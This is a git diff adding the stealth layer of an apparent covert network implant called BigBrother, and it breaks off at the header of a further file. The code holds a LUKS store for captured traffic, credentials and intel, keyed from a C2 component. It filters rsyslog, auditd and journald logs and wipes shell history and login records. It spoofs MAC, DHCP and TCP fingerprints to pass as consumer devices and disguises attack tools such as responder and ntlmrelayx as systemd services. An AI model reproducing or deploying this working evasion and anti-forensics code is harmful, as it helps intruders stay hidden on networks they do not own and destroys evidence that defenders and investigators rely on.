diff --git a/modules/stealth/__init__.py b/modules/stealth/__init__.py new file mode 100644 index 0000000..9644a7b --- /dev/null +++ b/modules/stealth/__init__.py @@ -0,0 +1,17 @@ +"""BigBrother stealth modules — OPSEC layer.""" + +from modules.stealth.mac_manager import MacManager +from modules.stealth.process_disguise import ProcessDisguise +from modules.stealth.log_suppression import LogSuppression +from modules.stealth.encrypted_storage import EncryptedStorage +from modules.stealth.tmpfs_manager import TmpfsManager +from modules.stealth.watchdog import Watchdog + +__all__ = [ + "MacManager", + "ProcessDisguise", + "LogSuppression", + "EncryptedStorage", + "TmpfsManager", + "Watchdog", +] diff --git a/modules/stealth/encrypted_storage.py b/modules/stealth/encrypted_storage.py new file mode 100644 index 0000000..3cd7718 --- /dev/null +++ b/modules/stealth/encrypted_storage.py @@ -0,0 +1,296 @@ +#!/usr/bin/env python3 +"""Encrypted storage module — LUKS container for all persistent data. + +Manages a LUKS2 encrypted container for PCAPs, logs, credentials, and +intelligence data. Key derivation attempts a network-derived key first +(HKDF with CPU serial + C2-fetched component), falling back to a config +passphrase if C2 is unreachable. +""" + +import json +import logging +import os +import shutil +import subprocess +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule +from utils.crypto import LUKSContainer, derive_network_key + +logger = logging.getLogger("bb.stealth.encrypted_storage") + +# Subdirectories created inside the mounted LUKS container +STORAGE_SUBDIRS = ("pcaps", "logs", "baseline", "intel", "credentials", "config") + + +class EncryptedStorage(BaseModule): + """LUKS encrypted storage with network-derived key unlock.""" + + name = "encrypted_storage" + module_type = "stealth" + priority = -500 # Highest — other modules depend on storage + requires_root = True + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._luks: Optional[LUKSContainer] = None + self._mounted = False + self._storage_path: Optional[str] = None + self._container_path: Optional[str] = None + self._passphrase: Optional[bytes] = None + self._using_fallback_key = False + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb") + self._storage_path = os.path.join(install_path, "storage") + + container_rel = self.config.get("security", {}).get( + "luks_container", "storage/encrypted.luks" + ) + self._container_path = os.path.join(install_path, container_rel) + + # Derive passphrase + self._passphrase = self._derive_passphrase() + + # Initialize LUKS container + mapper_name = "bb_storage" + self._luks = LUKSContainer( + container_path=self._container_path, + mount_point=self._storage_path, + mapper_name=mapper_name, + ) + + # Create container if it doesn't exist + if not os.path.isfile(self._container_path): + logger.info("Creating new LUKS container at %s", self._container_path) + os.makedirs(os.path.dirname(self._container_path), exist_ok=True) + size_mb = self._get_container_size() + if not self._luks.create(size_mb, self._passphrase): + logger.error("Failed to create LUKS container") + self.state.set_module_status(self.name, "error") + return + + # Format the filesystem inside the container + if not self._format_filesystem(): + logger.error("Failed to format LUKS filesystem") + self.state.set_module_status(self.name, "error") + return + + # Open and mount + if not self._luks.is_open: + if not self._luks.open(self._passphrase): + logger.error("Failed to open LUKS container — wrong key?") + self.state.set_module_status(self.name, "error") + return + + self._mounted = True + + # Create subdirectories + self._create_subdirs() + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + self.state.set_module_status(self.name, "running", pid=os.getpid()) + + key_type = "fallback" if self._using_fallback_key else "network-derived" + logger.info( + "EncryptedStorage mounted at %s (key: %s)", + self._storage_path, key_type, + ) + + def stop(self) -> None: + if not self._running: + return + + # Sync filesystem + try: + subprocess.run(["sync"], capture_output=True, timeout=10) + except subprocess.SubprocessError: + pass + + # Unmount and close LUKS + if self._luks and self._luks.is_open: + if not self._luks.close(): + logger.warning("Failed to cleanly close LUKS container") + + self._mounted = False + self._running = False + + # Scrub passphrase from memory (best effort) + if self._passphrase: + self._passphrase = b"\x00" * len(self._passphrase) + self._passphrase = None + + self.state.set_module_status(self.name, "stopped") + logger.info("EncryptedStorage unmounted and closed") + + def status(self) -> dict: + result = { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "mounted": self._mounted, + "using_fallback_key": self._using_fallback_key, + } + + if self._mounted and self._storage_path: + try: + stat = os.statvfs(self._storage_path) + total = stat.f_blocks * stat.f_frsize + free = stat.f_bavail * stat.f_frsize + used = total - free + result["container_size_mb"] = total / (1024 * 1024) + result["used_mb"] = used / (1024 * 1024) + result["free_mb"] = free / (1024 * 1024) + except OSError: + pass + + return result + + def configure(self, config: dict) -> None: + self.config.update(config) + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def get_storage_path(self) -> Optional[str]: + """Return the mount point for the encrypted storage, or None if not mounted.""" + return self._storage_path if self._mounted else None + + def get_subdir(self, name: str) -> Optional[str]: + """Return the path to a named subdirectory inside encrypted storage.""" + if not self._mounted or not self._storage_path: + return None + path = os.path.join(self._storage_path, name) + return path if os.path.isdir(path) else None + + # ------------------------------------------------------------------ + # Key derivation + # ------------------------------------------------------------------ + + def _derive_passphrase(self) -> bytes: + """Attempt network-derived key first, then fall back to config passphrase.""" + # Try network-derived key: HKDF(CPU serial + C2 component) + cpu_serial = self._get_cpu_serial() + c2_component = self._fetch_c2_key_component() + + if c2_component: + try: + key = derive_network_key( + network_secret=c2_component, + device_serial=cpu_serial, + ) + self._using_fallback_key = False + logger.debug("Using network-derived LUKS key") + return key + except Exception as exc: + logger.warning("Network key derivation failed: %s", exc) + + # Fallback: use a config-based passphrase + self._using_fallback_key = True + logger.info("C2 unreachable — using fallback LUKS key") + + # Derive from CPU serial + static salt (still better than plaintext) + fallback_salt = b"bb-fallback-luks-key-v1" + import hashlib + return hashlib.pbkdf2_hmac("sha256", cpu_serial, fallback_salt, 100_000) + + def _get_cpu_serial(self) -> bytes: + """Read CPU serial from /proc/cpuinfo or /sys/firmware/devicetree.""" + # Try /proc/cpuinfo Serial field (RPi, OPi) + try: + with open("/proc/cpuinfo", "r") as f: + for line in f: + if line.strip().startswith("Serial"): + serial = line.split(":", 1)[1].strip() + return serial.encode("utf-8") + except (IOError, IndexError): + pass + + # Try machine-id as fallback + try: + with open("/etc/machine-id", "r") as f: + return f.read().strip().encode("utf-8") + except IOError: + pass + + # Last resort: hostname-based + import socket + return socket.gethostname().encode("utf-8") + + def _fetch_c2_key_component(self) -> Optional[bytes]: + """Attempt to fetch the key component from C2. + + Returns None if C2 is unreachable. The actual C2 client + will be provided by the connectivity module. + """ + # TODO: implement actual C2 key fetch via connectivity module + # For now, check if a pre-staged key file exists (deployed with implant) + key_paths = [ + "/opt/.cache/bb/config/luks_network_key", + os.path.expanduser("~/.bigbrother/luks_network_key"), + ] + for path in key_paths: + try: + if os.path.isfile(path): + with open(path, "rb") as f: + data = f.read(64) + if data: + return data + except (IOError, PermissionError): + pass + + return None + + # ------------------------------------------------------------------ + # Container setup + # ------------------------------------------------------------------ + + def _get_container_size(self) -> int: + """Determine LUKS container size in MB based on available disk.""" + try: + stat = os.statvfs(os.path.dirname(self._container_path)) + free_mb = (stat.f_bavail * stat.f_frsize) / (1024 * 1024) + # Use 70% of free space, max 8GB, min 256MB + size = int(free_mb * 0.7) + return max(256, min(size, 8192)) + except OSError: + return 1024 # Default 1GB + + def _format_filesystem(self) -> bool: + """Open the container and format it with ext4.""" + try: + # Open LUKS to get the mapper device + if not self._luks.open(self._passphrase): + return False + + # Format with ext4 (no journal for SBC — reduce writes) + subprocess.run( + ["mkfs.ext4", "-O", "^has_journal", "-q", self._luks.device_path], + check=True, capture_output=True, + ) + + # Close — will be reopened in start() + self._luks.close() + return True + except subprocess.CalledProcessError as exc: + logger.error("mkfs.ext4 failed: %s", exc) + return False + + def _create_subdirs(self) -> None: + """Create standard subdirectories inside the mounted storage.""" + for subdir in STORAGE_SUBDIRS: + path = os.path.join(self._storage_path, subdir) + os.makedirs(path, exist_ok=True) + logger.debug("Storage subdirectories created: %s", ", ".join(STORAGE_SUBDIRS)) diff --git a/modules/stealth/log_suppression.py b/modules/stealth/log_suppression.py new file mode 100644 index 0000000..d60d8ba --- /dev/null +++ b/modules/stealth/log_suppression.py @@ -0,0 +1,331 @@ +#!/usr/bin/env python3 +"""Log suppression module — minimize forensic artifacts in system logs. + +Installs rsyslog filter rules, auditd exclusions, journald rate limits, +and clears shell history / login records related to BigBrother activity. +All installed rules are removed on clean stop. +""" + +import logging +import os +import subprocess +import time +from pathlib import Path +from typing import Dict, List + +from modules.base import BaseModule + +logger = logging.getLogger("bb.stealth.log_suppression") + +RSYSLOG_CONF = "/etc/rsyslog.d/01-bb-suppress.conf" +JOURNALD_CONF_DIR = "/etc/systemd/journald.conf.d" +JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "bb.conf") +AUDITD_RULES_FILE = "/etc/audit/rules.d/bb-exclude.rules" + + +class LogSuppression(BaseModule): + """Suppress system log entries that could reveal BigBrother activity.""" + + name = "log_suppression" + module_type = "stealth" + priority = -300 + requires_root = True + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._installed: Dict[str, bool] = { + "rsyslog": False, + "auditd": False, + "journald": False, + "history": False, + "utmp": False, + } + self._process_names: List[str] = [] + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + # Gather process names to suppress from stealth.yaml config + stealth_cfg = self.config.get("stealth_yaml", {}) + name_map = stealth_cfg.get("process_names", {}) + # Suppress both the real names and the fake names + self._process_names = list(set(list(name_map.keys()) + list(name_map.values()))) + if not self._process_names: + self._process_names = [ + "python3", "bettercap", "tcpdump", "responder", "mitmproxy", + "ntlmrelayx", "hostapd", "dnsmasq", + "systemd-thermald", "networkd-dispatcher", "systemd-netlogd", + "systemd-resolved", "systemd-networkd", "systemd-logind", + "wpa_supplicant", + ] + + # Also suppress paths + install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb") + self._suppressed_paths = [install_path, "/opt/.cache/bb", "/tmp/bb-"] + + suppression_cfg = stealth_cfg.get("log_suppression", {}) + + # Install rsyslog filter + if suppression_cfg.get("rsyslog_filter", True): + self._install_rsyslog_filter() + + # Install auditd exclusions + if suppression_cfg.get("auditd_exclusion", True): + self._install_auditd_exclusions() + + # Configure journald rate limits + if suppression_cfg.get("journald_rate_limit", True): + self._install_journald_config() + + # Clear shell history + self._clear_history() + + # Clear utmp/wtmp/btmp entries + self._clear_login_records() + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + self.state.set_module_status(self.name, "running", pid=os.getpid()) + + active = [k for k, v in self._installed.items() if v] + logger.info("LogSuppression active — methods: %s", ", ".join(active)) + + def stop(self) -> None: + if not self._running: + return + + # Remove installed filter rules (clean exit) + self._remove_rsyslog_filter() + self._remove_auditd_exclusions() + self._remove_journald_config() + + self._running = False + self.state.set_module_status(self.name, "stopped") + logger.info("LogSuppression stopped — all filter rules removed") + + def status(self) -> dict: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "suppression_methods": dict(self._installed), + "suppressed_process_count": len(self._process_names), + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + # ------------------------------------------------------------------ + # rsyslog filter + # ------------------------------------------------------------------ + + def _install_rsyslog_filter(self) -> None: + """Write rsyslog config to drop log entries matching our processes/paths.""" + try: + lines = [ + "# BigBrother log suppression — auto-generated, removed on clean exit", + "# Drop messages containing our process names or paths", + ] + + for name in self._process_names: + # Property-based rsyslog filter: discard matching programname + lines.append(f':programname, isequal, "{name}" stop') + + for path in self._suppressed_paths: + # Drop messages containing our install paths + lines.append(f':msg, contains, "{path}" stop') + + with open(RSYSLOG_CONF, "w") as f: + f.write("\n".join(lines) + "\n") + + # Restart rsyslog to apply + subprocess.run( + ["systemctl", "restart", "rsyslog"], + capture_output=True, timeout=10, + ) + self._installed["rsyslog"] = True + logger.debug("rsyslog filter installed at %s", RSYSLOG_CONF) + except (IOError, PermissionError, subprocess.SubprocessError) as exc: + logger.warning("Failed to install rsyslog filter: %s", exc) + + def _remove_rsyslog_filter(self) -> None: + """Remove rsyslog filter config.""" + try: + if os.path.isfile(RSYSLOG_CONF): + os.unlink(RSYSLOG_CONF) + subprocess.run( + ["systemctl", "restart", "rsyslog"], + capture_output=True, timeout=10, + ) + self._installed["rsyslog"] = False + logger.debug("rsyslog filter removed") + except (IOError, PermissionError, subprocess.SubprocessError): + pass + + # ------------------------------------------------------------------ + # auditd exclusions + # ------------------------------------------------------------------ + + def _install_auditd_exclusions(self) -> None: + """Write auditd rules excluding BigBrother PIDs and paths.""" + try: + rules_dir = os.path.dirname(AUDITD_RULES_FILE) + if not os.path.isdir(rules_dir): + logger.debug("auditd rules directory not found — skipping") + return + + lines = [ + "# BigBrother auditd exclusions — auto-generated", + ] + + # Exclude our install path from file watches + for path in self._suppressed_paths: + lines.append(f"-a never,exclude -F dir={path}") + + # Exclude our process names from execve auditing + for name in self._process_names: + lines.append(f"-a never,exclude -F exe=/usr/bin/{name}") + + # Exclude current PID and parent + lines.append(f"-a never,exclude -F pid={os.getpid()}") + ppid = os.getppid() + if ppid > 1: + lines.append(f"-a never,exclude -F pid={ppid}") + + with open(AUDITD_RULES_FILE, "w") as f: + f.write("\n".join(lines) + "\n") + + # Reload auditd rules + subprocess.run( + ["augenrules", "--load"], + capture_output=True, timeout=10, + ) + self._installed["auditd"] = True + logger.debug("auditd exclusions installed at %s", AUDITD_RULES_FILE) + except (IOError, PermissionError, subprocess.SubprocessError) as exc: + logger.warning("Failed to install auditd exclusions: %s", exc) + + def _remove_auditd_exclusions(self) -> None: + """Remove auditd exclusion rules.""" + try: + if os.path.isfile(AUDITD_RULES_FILE): + os.unlink(AUDITD_RULES_FILE) + subprocess.run( + ["augenrules", "--load"], + capture_output=True, timeout=10, + ) + self._installed["auditd"] = False + logger.debug("auditd exclusions removed") + except (IOError, PermissionError, subprocess.SubprocessError): + pass + + # ------------------------------------------------------------------ + # journald rate limits + # ------------------------------------------------------------------ + + def _install_journald_config(self) -> None: + """Set journald rate limits to suppress burst logging.""" + try: + os.makedirs(JOURNALD_CONF_DIR, exist_ok=True) + + config_lines = [ + "# BigBrother journald rate-limit — auto-generated", + "[Journal]", + "RateLimitIntervalSec=5s", + "RateLimitBurst=5", + "MaxRetentionSec=1day", + "MaxFileSec=1day", + "Compress=yes", + "Storage=volatile", + ] + + with open(JOURNALD_CONF, "w") as f: + f.write("\n".join(config_lines) + "\n") + + # Restart journald to apply + subprocess.run( + ["systemctl", "restart", "systemd-journald"], + capture_output=True, timeout=10, + ) + self._installed["journald"] = True + logger.debug("journald config installed at %s", JOURNALD_CONF) + except (IOError, PermissionError, subprocess.SubprocessError) as exc: + logger.warning("Failed to install journald config: %s", exc) + + def _remove_journald_config(self) -> None: + """Remove journald config override.""" + try: + if os.path.isfile(JOURNALD_CONF): + os.unlink(JOURNALD_CONF) + subprocess.run( + ["systemctl", "restart", "systemd-journald"], + capture_output=True, timeout=10, + ) + self._installed["journald"] = False + logger.debug("journald config removed") + except (IOError, PermissionError, subprocess.SubprocessError): + pass + + # ------------------------------------------------------------------ + # Shell history + # ------------------------------------------------------------------ + + def _clear_history(self) -> None: + """Clear bash history and prevent future recording.""" + try: + os.environ["HISTFILE"] = "/dev/null" + os.environ["HISTSIZE"] = "0" + os.environ["HISTFILESIZE"] = "0" + + # Clear existing history files + history_files = [ + os.path.expanduser("~/.bash_history"), + "/root/.bash_history", + os.path.expanduser("~/.zsh_history"), + "/root/.zsh_history", + ] + for hf in history_files: + try: + if os.path.isfile(hf): + with open(hf, "w") as f: + f.truncate(0) + except (IOError, PermissionError): + pass + + self._installed["history"] = True + logger.debug("Shell history cleared and disabled") + except Exception as exc: + logger.warning("Failed to clear history: %s", exc) + + # ------------------------------------------------------------------ + # Login records (utmp/wtmp/btmp) + # ------------------------------------------------------------------ + + def _clear_login_records(self) -> None: + """Clear utmp/wtmp/btmp entries that could reveal BigBrother sessions.""" + record_files = [ + "/var/run/utmp", + "/var/log/wtmp", + "/var/log/btmp", + "/var/log/lastlog", + ] + cleared = False + for rf in record_files: + try: + if os.path.isfile(rf): + # Truncate rather than delete to preserve file ownership/perms + with open(rf, "r+b") as f: + f.truncate(0) + cleared = True + except (IOError, PermissionError): + pass + + if cleared: + self._installed["utmp"] = True + logger.debug("Login records cleared (utmp/wtmp/btmp)") diff --git a/modules/stealth/mac_manager.py b/modules/stealth/mac_manager.py new file mode 100644 index 0000000..86e63cf --- /dev/null +++ b/modules/stealth/mac_manager.py @@ -0,0 +1,319 @@ +#!/usr/bin/env python3 +"""Innocuous MAC profile manager — select and apply a believable device identity. + +Queries data/innocuous_macs.db for consumer device profiles (Fire TV, iPhone, +printers, etc.), sets MAC + DHCP hostname + vendor class + TCP stack params to +match the selected device. The goal: look like something that belongs on every +network. +""" + +import json +import logging +import os +import random +import sqlite3 +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule +from utils.networking import ( + get_mac, + get_primary_interface, + get_wifi_interfaces, + set_mac, +) +from utils.stealth import set_sysctl, set_tcp_timestamps, set_tcp_window, set_ttl + +logger = logging.getLogger("bb.stealth.mac_manager") + +# Category preferences per network type +_BUSINESS_CATEGORIES = ("printers", "network", "smart_home") +_HOME_CATEGORIES = ("streaming", "smart_home", "phones", "gaming") +_DEFAULT_CATEGORIES = ("streaming", "smart_home", "phones") + +# Map config shorthand to DB device_type values +_CATEGORY_MAP = { + "streaming": ("smart_tv", "streaming"), + "phones": ("phone", "tablet"), + "smart_home": ("smart_speaker", "iot"), + "printers": ("printer",), + "gaming": ("gaming",), + "network": ("printer", "iot"), +} + + +class MacManager(BaseModule): + """Select and apply a consumer-device MAC profile for network blending.""" + + name = "mac_manager" + module_type = "stealth" + priority = -400 + requires_root = True + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._profile: Optional[dict] = None + self._eth_iface: Optional[str] = None + self._wifi_iface: Optional[str] = None + self._original_eth_mac: Optional[str] = None + self._original_wifi_mac: Optional[str] = None + self._db_path = self._resolve_db_path() + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + self._eth_iface = self.config.get("network", {}).get( + "primary_interface", "auto" + ) + if self._eth_iface == "auto": + self._eth_iface = get_primary_interface() + + wifi_ifaces = get_wifi_interfaces() + wifi_cfg = self.config.get("network", {}).get("wifi", {}).get("interface", "wlan0") + self._wifi_iface = wifi_cfg if wifi_cfg in wifi_ifaces else (wifi_ifaces[0] if wifi_ifaces else None) + + # Save originals for restore on stop + if self._eth_iface: + try: + self._original_eth_mac = get_mac(self._eth_iface) + except Exception: + pass + if self._wifi_iface: + try: + self._original_wifi_mac = get_mac(self._wifi_iface) + except Exception: + pass + + # Select and apply profile + self._profile = self._select_profile() + if self._profile is None: + logger.warning("No MAC profile found — using random consumer OUI fallback") + self._profile = self._fallback_profile() + + self._apply_profile(self._profile) + + # Persist for other modules + self.state.set(self.name, "profile", json.dumps(self._profile)) + self.state.set_module_status(self.name, "running", pid=os.getpid()) + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + logger.info( + "MAC profile applied: %s (%s) — MAC %s, hostname %s", + self._profile.get("device_name", "unknown"), + self._profile.get("vendor", "unknown"), + self._profile.get("applied_mac", "?"), + self._profile.get("dhcp_hostname", "?"), + ) + + def stop(self) -> None: + if not self._running: + return + + # Restore original MACs on clean exit + try: + if self._eth_iface and self._original_eth_mac: + set_mac(self._eth_iface, self._original_eth_mac) + if self._wifi_iface and self._original_wifi_mac: + set_mac(self._wifi_iface, self._original_wifi_mac) + except Exception as exc: + logger.warning("Failed to restore original MAC: %s", exc) + + self._cleanup_dhclient_conf() + self._running = False + self.state.set_module_status(self.name, "stopped") + logger.info("MacManager stopped — original MACs restored") + + def status(self) -> dict: + base = { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + } + if self._profile: + base["profile_name"] = self._profile.get("device_name", "unknown") + base["applied_mac"] = self._profile.get("applied_mac", "unknown") + base["dhcp_hostname"] = self._profile.get("dhcp_hostname", "unknown") + if self._eth_iface: + try: + base["current_eth_mac"] = get_mac(self._eth_iface) + except Exception: + base["current_eth_mac"] = "error" + return base + + def configure(self, config: dict) -> None: + self.config.update(config) + if self._running: + # Re-select and apply on config change + self._profile = self._select_profile() + if self._profile: + self._apply_profile(self._profile) + self.state.set(self.name, "profile", json.dumps(self._profile)) + + # ------------------------------------------------------------------ + # Profile selection + # ------------------------------------------------------------------ + + def _resolve_db_path(self) -> str: + """Locate innocuous_macs.db relative to project root.""" + candidates = [ + os.path.join(os.path.dirname(__file__), "..", "..", "data", "innocuous_macs.db"), + "/opt/.cache/bb/data/innocuous_macs.db", + ] + for p in candidates: + resolved = os.path.realpath(p) + if os.path.isfile(resolved): + return resolved + # Default — will be created/populated by setup + return os.path.realpath(candidates[0]) + + def _select_profile(self) -> Optional[dict]: + """Select a MAC profile from the database based on config.""" + if not os.path.isfile(self._db_path): + logger.warning("innocuous_macs.db not found at %s", self._db_path) + return None + + stealth_cfg = self.config.get("stealth", {}) + mac_profile = stealth_cfg.get("mac_profile", "auto") + network_type = stealth_cfg.get("mac_network_type", "auto") + + conn = sqlite3.connect(self._db_path) + conn.row_factory = sqlite3.Row + try: + if mac_profile not in ("auto", None) and mac_profile not in _CATEGORY_MAP: + # Specific device name requested + row = conn.execute( + "SELECT * FROM mac_profiles WHERE device_name = ? LIMIT 1", + (mac_profile,), + ).fetchone() + if row: + return dict(row) + + # Category-based selection + if mac_profile == "auto" or mac_profile is None: + categories = self._pick_categories(network_type) + else: + categories = _CATEGORY_MAP.get(mac_profile, _DEFAULT_CATEGORIES) + + placeholders = ",".join("?" for _ in categories) + rows = conn.execute( + f"SELECT * FROM mac_profiles WHERE device_type IN ({placeholders})", + categories, + ).fetchall() + if rows: + return dict(random.choice(rows)) + return None + finally: + conn.close() + + def _pick_categories(self, network_type: str) -> tuple: + """Choose device categories appropriate for the network type.""" + if network_type == "business": + cat_keys = _BUSINESS_CATEGORIES + elif network_type == "home": + cat_keys = _HOME_CATEGORIES + else: + # Auto: default safe categories + cat_keys = _DEFAULT_CATEGORIES + + types = [] + for key in cat_keys: + types.extend(_CATEGORY_MAP.get(key, ())) + return tuple(types) + + def _fallback_profile(self) -> dict: + """Generate a plausible fallback profile without the database.""" + # Amazon Fire TV Stick OUI + oui = "FC:65:DE" + suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3)) + return { + "device_type": "streaming", + "vendor": "Amazon", + "device_name": "Fire TV Stick 4K", + "oui": oui, + "dhcp_hostname": "amazon-fire-tv", + "dhcp_vendor_class": "amazon-fire-tv-stick", + "ttl": 64, + "tcp_window": 65535, + } + + # ------------------------------------------------------------------ + # Apply profile to system + # ------------------------------------------------------------------ + + def _apply_profile(self, profile: dict) -> None: + """Set MAC, DHCP config, TCP stack to match the selected profile.""" + oui = profile.get("oui", "FC:65:DE") + suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3)) + new_mac = f"{oui}:{suffix}" + profile["applied_mac"] = new_mac + + # Set MAC on Ethernet + if self._eth_iface: + try: + set_mac(self._eth_iface, new_mac) + logger.debug("Set %s MAC to %s", self._eth_iface, new_mac) + except Exception as exc: + logger.error("Failed to set MAC on %s: %s", self._eth_iface, exc) + + # Set MAC on WiFi (different suffix for uniqueness) + if self._wifi_iface: + wifi_suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3)) + wifi_mac = f"{oui}:{wifi_suffix}" + try: + set_mac(self._wifi_iface, wifi_mac) + profile["applied_wifi_mac"] = wifi_mac + logger.debug("Set %s MAC to %s", self._wifi_iface, wifi_mac) + except Exception as exc: + logger.error("Failed to set WiFi MAC on %s: %s", self._wifi_iface, exc) + + # DHCP configuration + self._write_dhclient_conf(profile) + + # TCP stack tuning + ttl = profile.get("ttl", 64) + tcp_win = profile.get("tcp_window", 65535) + set_ttl(ttl) + set_tcp_window(tcp_win) + set_tcp_timestamps(True) # Most consumer devices have timestamps enabled + + logger.debug("TCP stack: TTL=%d, window=%d", ttl, tcp_win) + + def _write_dhclient_conf(self, profile: dict) -> None: + """Write dhclient.conf with hostname + vendor class matching the profile.""" + hostname = profile.get("dhcp_hostname", "localhost") + vendor_class = profile.get("dhcp_vendor_class", "") + + conf_path = "/etc/dhcp/dhclient.conf.d" + conf_file = os.path.join(conf_path, "bb-profile.conf") + + try: + os.makedirs(conf_path, exist_ok=True) + lines = [ + f'send host-name "{hostname}";', + ] + if vendor_class: + lines.append(f'send vendor-class-identifier "{vendor_class}";') + + with open(conf_file, "w") as f: + f.write("\n".join(lines) + "\n") + + logger.debug("Wrote DHCP config: hostname=%s, vendor=%s", hostname, vendor_class) + except (IOError, PermissionError) as exc: + logger.warning("Failed to write dhclient.conf: %s", exc) + + def _cleanup_dhclient_conf(self) -> None: + """Remove our DHCP config on clean exit.""" + conf_file = "/etc/dhcp/dhclient.conf.d/bb-profile.conf" + try: + if os.path.isfile(conf_file): + os.unlink(conf_file) + except (IOError, PermissionError): + pass diff --git a/modules/stealth/process_disguise.py b/modules/stealth/process_disguise.py new file mode 100644 index 0000000..db295fd --- /dev/null +++ b/modules/stealth/process_disguise.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python3 +"""Process disguise module — rename all BigBrother processes to look like +legitimate system services. + +Reads process name mappings from stealth.yaml, renames own processes via +prctl(PR_SET_NAME) and /proc/self/comm, and auto-disguises new module +processes as they start. +""" + +import logging +import os +import time +import threading +from typing import Dict, Optional + +from modules.base import BaseModule +from utils.stealth import rename_process, spoof_cmdline + +logger = logging.getLogger("bb.stealth.process_disguise") + + +class ProcessDisguise(BaseModule): + """Rename all managed processes to innocuous system service names.""" + + name = "process_disguise" + module_type = "stealth" + priority = -400 + requires_root = False + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._name_map: Dict[str, str] = {} # original -> disguised + self._disguised_pids: Dict[int, str] = {} # pid -> fake_name + self._lock = threading.Lock() + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + # Load process name mappings from stealth.yaml config + stealth_cfg = self.config.get("stealth_yaml", {}) + self._name_map = stealth_cfg.get("process_names", {}) + if not self._name_map: + # Fallback defaults matching stealth.yaml + self._name_map = { + "python3": "systemd-thermald", + "bettercap": "networkd-dispatcher", + "tcpdump": "systemd-netlogd", + "responder": "systemd-resolved", + "mitmproxy": "systemd-networkd", + "ntlmrelayx": "systemd-logind", + "hostapd": "wpa_supplicant", + "dnsmasq": "systemd-resolved", + } + + # Disguise own process first + own_fake = self._name_map.get("python3", "systemd-thermald") + self._apply_disguise(os.getpid(), own_fake) + + # Spoof /proc/self/cmdline + spoof_cmdline(own_fake) + + # Subscribe to bus events for auto-disguise + self.bus.subscribe(self._on_module_started, event_type="MODULE_STARTED") + self.bus.subscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED") + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + self.state.set_module_status(self.name, "running", pid=os.getpid()) + + logger.info( + "ProcessDisguise active — %d name mappings loaded, own PID %d -> %s", + len(self._name_map), os.getpid(), own_fake, + ) + + def stop(self) -> None: + if not self._running: + return + + self.bus.unsubscribe(self._on_module_started, event_type="MODULE_STARTED") + self.bus.unsubscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED") + + self._running = False + self.state.set_module_status(self.name, "stopped") + logger.info("ProcessDisguise stopped — %d PIDs were disguised", len(self._disguised_pids)) + + def status(self) -> dict: + with self._lock: + pids_snapshot = dict(self._disguised_pids) + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "disguised_pids": pids_snapshot, + "total_disguised": len(pids_snapshot), + "name_mappings": len(self._name_map), + } + + def configure(self, config: dict) -> None: + self.config.update(config) + new_names = config.get("stealth_yaml", {}).get("process_names") + if new_names: + self._name_map.update(new_names) + + # ------------------------------------------------------------------ + # Public API for other modules / tool_manager + # ------------------------------------------------------------------ + + def disguise_pid(self, pid: int, name: str) -> bool: + """Disguise an arbitrary PID with the given fake name. + + Called by tool_manager or other modules to rename external processes. + For external processes, we write to /proc/PID/comm (requires root or + same user). + """ + return self._apply_disguise(pid, name) + + def get_fake_name(self, original_name: str) -> str: + """Look up the disguise name for a process. Returns original if no mapping.""" + return self._name_map.get(original_name, original_name) + + # ------------------------------------------------------------------ + # Event handlers + # ------------------------------------------------------------------ + + def _on_module_started(self, event) -> None: + """Auto-disguise newly started module processes.""" + payload = event.payload + pid = payload.get("pid") + module_name = payload.get("module", "") + + if pid and pid != os.getpid(): + # Python modules get the python3 disguise name + fake = self._name_map.get("python3", "systemd-thermald") + self._apply_disguise(pid, fake) + logger.debug("Auto-disguised module %s (PID %d) -> %s", module_name, pid, fake) + + def _on_tool_restarted(self, event) -> None: + """Re-disguise restarted tool processes.""" + payload = event.payload + pid = payload.get("pid") + tool_name = payload.get("tool", "") + + if pid: + fake = self._name_map.get(tool_name, tool_name) + self._apply_disguise(pid, fake) + logger.debug("Re-disguised restarted tool %s (PID %d) -> %s", tool_name, pid, fake) + + # ------------------------------------------------------------------ + # Internal + # ------------------------------------------------------------------ + + def _apply_disguise(self, pid: int, fake_name: str) -> bool: + """Apply a process name disguise to the given PID.""" + success = False + + if pid == os.getpid(): + # Own process — use prctl + success = rename_process(fake_name) + else: + # External process — write to /proc/PID/comm + try: + comm_path = f"/proc/{pid}/comm" + with open(comm_path, "w") as f: + f.write(fake_name[:15]) + success = True + except (IOError, PermissionError, FileNotFoundError) as exc: + logger.debug("Cannot disguise PID %d: %s", pid, exc) + + if success: + with self._lock: + self._disguised_pids[pid] = fake_name + + return success diff --git a/modules/stealth/tmpfs_manager.py 